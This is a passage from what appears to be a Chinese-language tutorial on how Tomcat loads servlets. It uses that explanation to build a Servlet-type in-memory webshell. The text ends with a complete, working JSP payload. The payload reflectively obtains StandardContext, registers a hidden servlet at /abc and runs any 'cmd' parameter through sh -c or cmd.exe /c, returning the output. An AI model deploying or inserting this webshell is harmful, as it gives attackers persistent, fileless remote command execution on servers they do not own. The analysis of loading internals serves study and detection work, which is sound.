配置servlet
我们之前配置了注解,@WebServlet("/TestServlet")那么其实也可以用web.xml来配置Servlet。
在web.xml中添加
<servlet><servlet-name>IndexServlet</servlet-name><servlet-class>Servlet.IndexServlet</servlet-class></servlet><servlet-mapping><servlet-name>IndexServlet</servlet-name><url-pattern>/kaixin</url-pattern></servlet-mapping>
然后写一个Servlet
public class IndexServlet extends HttpServlet {public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {PrintWriter writer = response.getWriter();writer.println("hello");}}
断点调试
我们看看Servlet是如何装载的,首先给org/apache/catalina/core/StandardContext.java下断点。

然后到这个地方

就从这个函数就可以看出来是先添加Listener然后是filter,最后装在servlet。
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数
可以看到下面图中首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,选出 >= 0 的项加载到一个存放Wapper的list中

然后就会对每个wapper进行装载

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:
装载:启动服务器时加载Servlet的实例初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)销毁:停止服务器时调用destroy()方法,销毁实例
添加完之后我们查看ServletMappings的变化,查看其中的对应关系

所以Servlet型内存Webshell的主要步骤如下:
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="java.io.PrintWriter" %><%!Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};%><%// 一个小路径快速获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();%><%Wrapper newWrapper = stdcontext.createWrapper();String name = servlet.getClass().getSimpleName();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());%><%// url绑定stdcontext.addChild(newWrapper);stdcontext.addServletMappingDecoded("/abc", name);%>

